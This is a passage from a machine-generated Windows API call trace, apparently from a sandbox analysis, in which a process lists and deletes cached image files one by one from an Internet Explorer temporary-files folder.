cFileName="BBDLjFT[1].jpg", cAlternateFileName="BBDLJF~1.JPG")) returned 1 [0103.501] lstrlenW (lpString="BBDLjFT[1].jpg") returned 14 [0103.501] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="BBDLjFT[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDLjFT[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDLjFT[1].jpg" [0103.501] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDLjFT[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\bbdljft[1].jpg")) returned 1 [0103.502] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb97ad20, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcb97ad20, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcb97ad20, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x8e2, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDLjFT[2].jpg", cAlternateFileName="BBDLJF~2.JPG")) returned 1 [0103.502] lstrlenW (lpString="BBDLjFT[2].jpg") returned 14 [0103.502] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="BBDLjFT[2].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDLjFT[2].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDLjFT[2].jpg" [0103.502] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDLjFT[2].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\bbdljft[2].jpg")) returned 1 [0103.502] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe43cd1c0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xe43cd1c0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xe43cd1c0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x2948, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDLLBR[1].jpg", cAlternateFileName="BBDLLB~1.JPG")) returned 1 [0103.502] lstrlenW (lpString="BBDLLBR[1].jpg") returned 14 [0103.502] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="BBDLLBR[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDLLBR[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDLLBR[1].jpg" [0103.502] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDLLBR[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\bbdllbr[1].jpg")) returned 1 [0103.502] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xed337f40, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xed337f40, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xed337f40, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x215b, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDLM5y[1].jpg", cAlternateFileName="BBDLM5~1.JPG")) returned 1 [0103.502] lstrlenW (lpString="BBDLM5y[1].jpg") returned 14 [0103.502] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="BBDLM5y[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDLM5y[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDLM5y[1].jpg" [0103.503] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDLM5y[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\bbdlm5y[1].jpg")) returned 1 [0103.510] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc267fa0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc267fa0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc28e100, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xafa, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDLmEf[1].jpg", cAlternateFileName="BBDLME~1.JPG")) returned 1 [0103.510] lstrlenW (lpString="BBDLmEf[1].jpg") returned 14 [0103.510] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="BBDLmEf[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDLmEf[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDLmEf[1].jpg" [0103.510] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDLmEf[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\bbdlmef[1].jpg")) returned 1 [0103.510] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc3bec00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc3bec00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc3bec00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x9a6, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDLPMU[1].jpg", cAlternateFileName="BBDLPM~1.JPG")) returned 1 [0103.510] lstrlenW (lpString="BBDLPMU[1].jpg") returned 14 [0103.510] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="BBDLPMU[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDLPMU[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDLPMU[1].jpg" [0103.510] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDLPMU[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\bbdlpmu[1].jpg")) returned 1 [0103.513] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc111340, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc111340, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc111340, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x886, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDLqdv[1].jpg", cAlternateFileName="BBDLQD~1.JPG")) returned 1 [0103.513] lstrlenW (lpString="BBDLqdv[1].jpg") returned 14 [0103.513] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="BBDLqdv[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDLqdv[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDLqdv[1].jpg" [0103.513] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDLqdv[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\bbdlqdv[1].jpg")) returned 1 [0103.514] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbbdc320, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbbdc320, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbbdc320, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x8f0, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDLsaK[1].jpg", cAlternateFileName="BBDLSA~1.JPG")) returned 1 [0103.514] lstrlenW (lpString="BBDLsaK[1].jpg") returned 14 [0103.514] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="BBDLsaK[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDLsaK[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDLsaK[1].jpg" [0103.514] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDLsaK[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\bbdlsak[1].jpg")) returned 1 [0103.514] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbf482c0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbf482c0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbf482c0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x9f7, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDLsFR[1].jpg", cAlternateFileName="BBDLSF~1.JPG")) returned 1 [0103.514] lstrlenW (lpString="BBDLsFR[1].jpg") returned 14 [0103.514] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="BBDLsFR[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDLsFR[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDLsFR[1].jpg" [0103.514] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDLsFR[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\bbdlsfr[1].jpg")) returned 1 [0103.514] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf92b08e0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xf92b08e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xf92b08e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x1b4f, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDLuBc[1].jpg", cAlternateFileName="BBDLUB~1.JPG")) returned 1 [0103.514] lstrlenW (lpString="BBDLuBc[1].jpg") returned 14 [0103.514] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="BBDLuBc[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDLuBc[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDLuBc[1].jpg" [0103.515] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDLuBc[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\bbdlubc[1].jpg")) returned 1 [0103.515] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb9ed140, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcb9ed140, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcb9ed140, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x71d, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDLW8b[1].jpg", cAlternateFileName="BBDLW8~1.JPG")) returned 1 [0103.515] lstrlenW (lpString="BBDLW8b[1].jpg") returned 14 [0103.515] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="BBDLW8b[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDLW8b[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDLW8b[1].jpg" [0103.515] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDLW8b[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\bbdlw8b[1].jpg")) returned 1 [0103.515] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc267fa0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc267fa0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc267fa0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x900, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDLXKp[1].jpg", cAlternateFileName="BBDLXK~1.JPG")) returned 1 [0103.515] lstrlenW (lpString="BBDLXKp[1].jpg") returned 14 [0103.515] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="BBDLXKp[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDLXKp[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDLXKp[1].jpg" [0103.515] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDLXKp[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\bbdlxkp[1].jpg")) returned 1 [0103.516] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc02cb00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc02cb00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc02cb00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x919, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDntNC[1].jpg", cAlternateFileName="BBDNTN~1.JPG")) returned 1 [0103.516] lstrlenW (lpString="BBDntNC[1].jpg") returned 14 [0103.516] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="BBDntNC[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDntNC[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDntNC[1].jpg" [0103.516] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDntNC[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\bbdntnc[1].jpg")) returned 1 [0103.516] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc372940, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc372940, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc372940, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x8ef, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDrJ2v[1].jpg", cAlternateFileName="BBDRJ2~1.JPG")) returned 1 [0103.516] lstrlenW (lpString="BBDrJ2v[1].jpg") returned 14 [0103.516] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="BBDrJ2v[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDrJ2v[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDrJ2v[1].jpg" [0103.516] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDrJ2v[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\bbdrj2v[1].jpg")) returned 1 [0103.516] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbd7f240, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbd7f240, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbd7f240, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x900, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDstfh[1].jpg", cAlternateFileName="BBDSTF~1.JPG")) returned 1 [0103.527] lstrlenW (lpString="BBDstfh[1].jpg") returned 14 [0103.527] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="BBDstfh[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDstfh[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDstfh[1].jpg" [0103.527] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDstfh[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\bbdstfh[1].jpg")) returned 1 [0103.529] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbcc0b60, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbcc0b60, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbcc0b60, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x39ff, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDtRBe[1].jpg", cAlternateFileName="BBDTRB~1.JPG")) returned 1 [0103.529] lstrlenW (lpString="BBDtRBe[1].jpg") returned 14 [0103.529] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="BBDtRBe[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDtRBe[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDtRBe[1].jpg" [0103.529] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDtRBe[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\bbdtrbe[1].jpg")) returned 1 [0103.529] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbce6cc0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbce6cc0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbce6cc0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xa62, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBDw280[1].jpg", cAlternateFileName="BBDW28~1.JPG")) returned 1 [0103.529] lstrlenW (lpString="BBDw280[1].jpg") returned 14 [0103.529] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="BBDw280[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDw280[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDw280[1].jpg" [0103.529] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBDw280[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\bbdw280[1].jpg")) returned 1 [0103.529] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbf22160, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbf22160, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbf22160, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x1dc, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBghfVy[1].png", cAlternateFileName="BBGHFV~1.PNG")) returned 1 [0103.529] lstrlenW (lpString="BBghfVy[1].png") returned 14 [0103.529] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="BBghfVy[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet 